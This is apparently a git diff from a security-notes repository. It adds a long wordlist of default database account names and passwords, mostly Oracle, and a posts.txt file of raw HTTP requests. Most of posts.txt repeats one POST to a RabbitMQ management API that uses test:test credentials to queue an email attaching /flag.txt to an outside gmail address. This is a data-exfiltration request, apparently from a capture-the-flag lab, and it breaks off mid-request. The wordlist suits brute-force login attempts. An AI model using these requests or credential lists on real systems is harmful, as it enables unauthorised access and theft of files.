+igc
+IGC
+igf
+IGF
+igi
+IGI
+igs
+IGS
+igw
+IGW
+imageuser
+IMAGEUSER
+imc
+IMC
+imedia
+IMEDIA
+imt
+IMT
+INS1
+INS2
+instance
+INSTANCE
+inv
+INV
+invalid
+INVALID
+Invalid password
+IP
+ipa
+IPA
+ipd
+IPD
+iplanet
+IPLANET
+isc
+ISC
+ISTEWARD
+itg
+ITG
+ja
+JA
+JD7333
+JD7334
+JD9
+JDE
+JDEDBA
+je
+JE
+jetspeed
+JETSPEED
+jg
+JG
+jl
+JL
+JL
+jmuser
+JMUSER
+john
+JOHN
+JOHNINARI
+jtf
+JTF
+JTI
+jtm
+JTM
+JTR
+jts
+JTS
+JUNK_PS
+JUSTOSHUM
+KELLYJONES
+KEVINDONS
+KPN
+kwalker
+KWALKER
+l2ldemo
+L2LDEMO
+LADAMS
+laskjdf098ksdaf09
+LASKJDF098KSDAF09
+LBA
+lbacsys
+LBACSYS
+LDQUAL
+LHILL
+LIZARD
+LNS
+LQUINCY
+LSA
+manag3r
+MANAG3R
+manager
+MANAGER
+manprod
+MANPROD
+mddata
+MDDATA
+mddemo
+MDDEMO
+mddemo_mgr
+MDDEMO_MGR
+mdsys
+MDSYS
+me
+ME
+mfg
+MFG
+mgr
+MGR
+MGR1
+MGR2
+MGR3
+MGR4
+mgwuser
+MGWUSER
+migrate
+MIGRATE
+MIKEIKEGAMI
+miller
+MILLER
+MJONES
+MLAKE
+MM1
+MM2
+MM3
+MM4
+MM5
+MMARTIN
+mmo2
+MMO2
+mmo3
+MMO3
+moreau
+MOREAU
+mot_de_passe
+MOT_DE_PASSE
+mrp
+MRP
+msc
+MSC
+msd
+MSD
+mso
+MSO
+msr
+MSR
+MST
+mt6ch5
+MT6CH5
+mtrpw
+MTRPW
+mts_password
+MTS_PASSWORD
+mtssys
+MTSSYS
+mumblefratz
+MUMBLEFRATZ
+mwa
+MWA
+mxagent
+MXAGENT
+names
+NAMES
+NEILKATSU
+neotix_sys
+NEOTIX_SYS
+nneulpass
+NNEULPASS
+oas_public
+OAS_PUBLIC
+OBJ7333
+OBJ7334
+OBJB733
+OCA
+ocitest
+OCITEST
+ocm_db_admin
+OCM_DB_ADMIN
+odm
+ODM
+ods
+ODS
+odscommon
+ODSCOMMON
+ods_server
+ODS_SERVER
+oe
+OE
+oemadm
+OEMADM
+oemrep
+OEMREP
+oem_temp
+OEM_TEMP
+okb
+OKB
+okc
+OKC
+oke
+OKE
+oki
+OKI
+OKL
+oko
+OKO
+okr
+OKR
+oks
+OKS
+okx
+OKX
+OL810
+OL811
+OL812
+OL9
+olapdba
+OLAPDBA
+olapsvr
+OLAPSVR
+olapsys
+OLAPSYS
+ont
+ONT
+oo
+OO
+openspirit
+OPENSPIRIT
+opi
+OPI
+ORABAM
+ORABAMSAMPLES
+ORABPEL
+oracache
+ORACACHE
+oracl3
+ORACL3
+oracle
+ORACLE
+oracle8
+ORACLE8
+oracle8i
+ORACLE8I
+oracle9
+ORACLE9
+oracle9i
+ORACLE9I
+oradbapass
+ORADBAPASS
+ORAESB
+ORAOCA_PUBLIC
+oraprobe
+ORAPROBE
+oraregsys
+ORAREGSYS
+ORASAGENT
+orasso
+ORASSO
+orasso_ds
+ORASSO_DS
+orasso_pa
+ORASSO_PA
+orasso_ps
+ORASSO_PS
+orasso_public
+ORASSO_PUBLIC
+orastat
+ORASTAT
+ordcommon
+ORDCOMMON
+ordplugins
+ORDPLUGINS
+ordsys
+ORDSYS
+osm
+OSM
+osp22
+OSP22
+ota
+OTA
+outln
+OUTLN
+owa
+OWA
+OWAPUB
+owa_public
+OWA_PUBLIC
+owf_mgr
+OWF_MGR
+owner
+OWNER
+ozf
+OZF
+ozp
+OZP
+ozs
+OZS
+pa
+PA
+PABLO
+PAIGE
+PAM
+panama
+PANAMA
+paper
+PAPER
+parol
+PAROL
+PARRISH
+PARSON
+passwd
+PASSWD
+passwo1
+PASSWO1
+passwo2
+PASSWO2
+passwo3
+PASSWO3
+passwo4
+PASSWO4
+password
+PASSWORD
+PAT
+PATORILY
+PATRICKSANCHEZ
+patrol
+PATROL
+PATSY
+paul
+PAUL
+PAULA
+PAXTON
+PCA1
+PCA2
+PCA3
+PCA4
+PCS1
+PCS2
+PCS3
+PCS4
+PD7333
+PD7334
+PD810
+PD811
+PD812
+PD9
+PDA1
+PEARL
+PEG
+PENNY
+PEOP1E
+PERCY
+perfstat
+PERFSTAT
+PERRY
+perstat
+PERSTAT
+PETE
+PEYTON
+PHIL
+PJI
+pjm
+PJM
+planning
+PLANNING
+plex
+PLEX
+pm
+PM
+pmi
+PMI
+pn
+PN
+po
+PO
+po7
+PO7
+po8
+PO8
+poa
+POA
+POLLY
+pom
+POM
+PON
+PORTAL
+portal30
+PORTAL30
+portal30_admin
+PORTAL30_ADMIN
+portal30_demo
+PORTAL30_DEMO
+portal30_ps
+PORTAL30_PS
+portal30_public
+PORTAL30_PUBLIC
+portal30_sso
+PORTAL30_SSO
+portal30_sso_admin
+PORTAL30_SSO_ADMIN
+portal30_sso_ps
+PORTAL30_SSO_PS
+portal30_sso_public
+PORTAL30_SSO_PUBLIC
+portal31
+PORTAL31
+PORTAL_APP
+portal_demo
+PORTAL_DEMO
+PORTAL_PUBLIC
+portal_sso_ps
+PORTAL_SSO_PS
+pos
+POS
+powercartuser
+POWERCARTUSER
+PPM1
+PPM2
+PPM3
+PPM4
+PPM5
+primary
+PRIMARY
+PRISTB733
+PRISTCTL
+PRISTDTA
+PRODB733
+PRODCTL
+PRODDTA
+PRODUSER
+PRP
+PS
+PS810
+PS810CTL
+PS810DTA
+PS811
+PS811CTL
+PS811DTA
+PS812
+PS812CTL
+PS812DTA
+psa
+PSA
+psb
+PSB
+PSBASS
+PSEM
+PSFT
+PSFTDBA
+psp
+PSP
+PTADMIN
+PTCNE
+PTDMO
+PTE
+PTESP
+PTFRA
+PTG
+PTGER
+PTJPN
+PTUKE
+PTUPG
+PTWEB
+PTWEBSERVER
+pub
+PUB
+pubsub
+PUBSUB
+pubsub1
+PUBSUB1
+pv
+PV
+PY7333
+PY7334
+PY810
+PY811
+PY812
+PY9
+qa
+QA
+qdba
+QDBA
+QOT
+qp
+QP
+QRM
+qs
+QS
+qs_adm
+QS_ADM
+qs_cb
+QS_CB
+qs_cbadm
+QS_CBADM
+qs_cs
+QS_CS
+qs_es
+QS_ES
+qs_os
+QS_OS
+qs_ws
+QS_WS
+re
+RE
+RENE
+repadmin
+REPADMIN
+reports
+REPORTS
+rep_owner
+REP_OWNER
+RESTRICTED_US
+rg
+RG
+rhx
+RHX
+rla
+RLA
+rlm
+RLM
+RM1
+RM2
+RM3
+RM4
+RM5
+rmail
+RMAIL
+rman
+RMAN
+ROB
+RPARKER
+rrs
+RRS
+RWA1
+SALLYH
+SAM
+sample
+SAMPLE
+sampleatm
+SAMPLEATM
+sap
+SAP
+sapr3
+SAPR3
+SARAHMANDY
+SCM1
+SCM2
+SCM3
+SCM4
+SDAVIS
+sdos_icsap
+SDOS_ICSAP
+secdemo
+SECDEMO
+SEDWARDS
+SELLCM
+SELLER
+SELLTREAS
+senha
+SENHA
+serviceconsumer1
+SERVICECONSUMER1
+SETUP
+sh
+SH
+shelves
+SHELVES
+SID
+si_informtn_schema
+SI_INFORMTN_SCHEMA
+siteminder
+SITEMINDER
+SKAYE
+SKYTETSUKA
+slidepw
+SLIDEPW
+SLSAA
+SLSMGR
+SLSREP
+snowman
+SNOWMAN
+spierson
+SPIERSON
+SRABBITT
+SRALPHS
+SRAY
+SRIVERS
+SSA1
+SSA2
+SSA3
+SSC1
+SSC2
+SSC3
+SSOSDK
+ssp
+SSP
+SSS1
+starter
+STARTER
+steel
+STEEL
+strat_passwd
+STRAT_PASSWD
+supersecret
+SUPERSECRET
+SUPPLIER
+support
+SUPPORT
+SVM7333
+SVM7334
+SVM810
+SVM811
+SVM812
+SVM9
+SVMB733
+SVP1
+swordfish
+SWORDFISH
+swpro
+SWPRO
+swuser
+SWUSER
+SY810
+SY811
+SY812
+SY9
+sympa
+SYMPA
+sys
+SYS
+SYS7333
+SYS7334
+sysadm
+SYSADM
+sysadmin
+SYSADMIN
+SYSB733
+sysman
+SYSMAN
+syspass
+SYSPASS
+sys_stnt
+SYS_STNT
+system
+SYSTEM
+systempass
+SYSTEMPASS
+tahiti
+TAHITI
+TDEMARCO
+tdos_icsap
+TDOS_ICSAP
+tectec
+TECTEC
+test
+TEST
+TESTCTL
+TESTDTA
+testpilot
+TESTPILOT
+test_user
+TEST_USER
+thinsamplepw
+THINSAMPLEPW
+tibco
+TIBCO
+tiger
+TIGER
+tigger
+TIGGER
+tip37
+TIP37
+TRA1
+trace
+TRACE
+travel
+TRAVEL
+TRBM1
+TRCM1
+TRDM1
+TRRM1
+tsdev
+TSDEV
+tsuser
+TSUSER
+turbine
+TURBINE
+TWILLIAMS
+UDDISYS
+ultimate
+ULTIMATE
+um_admin
+UM_ADMIN
+um_client
+UM_CLIENT
+unknown
+UNKNOWN
+user
+USER
+user0
+USER0
+user1
+USER1
+user2
+USER2
+user3
+USER3
+user4
+USER4
+user5
+USER5
+user6
+USER6
+user7
+USER7
+user8
+USER8
+user9
+USER9
+utility
+UTILITY
+utlestat
+UTLESTAT
+vea
+VEA
+veh
+VEH
+vertex_login
+VERTEX_LOGIN
+VIDEO31
+VIDEO4
+VIDEO5
+videouser
+VIDEOUSER
+vif_dev_pwd
+VIF_DEV_PWD
+viruser
+VIRUSER
+VP1
+VP2
+VP3
+VP4
+VP5
+VP6
+vrr1
+VRR1
+vrr2
+VRR2
+WAA1
+WAA2
+WCRSYS
+webcal01
+WEBCAL01
+webdb
+WEBDB
+webread
+WEBREAD
+welcome
+WELCOME
+WELCOME1
+WENDYCHO
+west
+WEST
+wfadmin
+WFADMIN
+wh
+WH
+wip
+WIP
+WIRELESS
+wkadmin
+WKADMIN
+wkproxy
+WKPROXY
+wksys
+WKSYS
+wk_test
+WK_TEST
+wkuser
+WKUSER
+wms
+WMS
+wmsys
+WMSYS
+wob
+WOB
+wood
+WOOD
+wps
+WPS
+wsh
+WSH
+wsm
+WSM
+www
+WWW
+wwwuser
+WWWUSER
+xademo
+XADEMO
+XDO
+xdp
+XDP
+xla
+XLA
+XLE
+XNB
+xnc
+XNC
+xni
+XNI
+xnm
+XNM
+xnp
+XNP
+xns
+XNS
+xprt
+XPRT
+xtr
+XTR
+xxx
+XXX
+YCAMPOS
+yes
+YES
+your_pass
+YOUR_PASS
+YSANCHEZ
+ZFA
+ZPB
+ZSA
+zwerg
+ZWERG
+ZX
diff --git a/src/files/pgsql_exec.zip b/.gitbook/assets/pgsql_exec.zip
similarity index 100%
rename from src/files/pgsql_exec.zip
rename to .gitbook/assets/pgsql_exec.zip
diff --git a/.gitbook/assets/picklerick.gif b/.gitbook/assets/picklerick.gif
new file mode 100644
index 00000000000..a0d85724612
Binary files /dev/null and b/.gitbook/assets/picklerick.gif differ
diff --git a/.gitbook/assets/poison (1) (1) (1).jpg b/.gitbook/assets/poison (1) (1) (1).jpg
new file mode 100644
index 00000000000..e3a0347c919
Binary files /dev/null and b/.gitbook/assets/poison (1) (1) (1).jpg differ
diff --git a/.gitbook/assets/poison (1) (1).jpg b/.gitbook/assets/poison (1) (1).jpg
new file mode 100644
index 00000000000..e3a0347c919
Binary files /dev/null and b/.gitbook/assets/poison (1) (1).jpg differ
diff --git a/.gitbook/assets/portada-2.png b/.gitbook/assets/portada-2.png
new file mode 100644
index 00000000000..5ce83d1ddb7
Binary files /dev/null and b/.gitbook/assets/portada-2.png differ
diff --git a/.gitbook/assets/portada-alcoholica.png b/.gitbook/assets/portada-alcoholica.png
new file mode 100644
index 00000000000..f23eaab54a2
Binary files /dev/null and b/.gitbook/assets/portada-alcoholica.png differ
diff --git a/src/files/posts.txt b/.gitbook/assets/posts (1).txt
similarity index 100%
rename from src/files/posts.txt
rename to .gitbook/assets/posts (1).txt
diff --git a/.gitbook/assets/posts.txt b/.gitbook/assets/posts.txt
new file mode 100644
index 00000000000..c64dc9f52b3
--- /dev/null
+++ b/.gitbook/assets/posts.txt
@@ -0,0 +1,7703 @@
+PNG
+POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"xxxxxxxxxxx@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
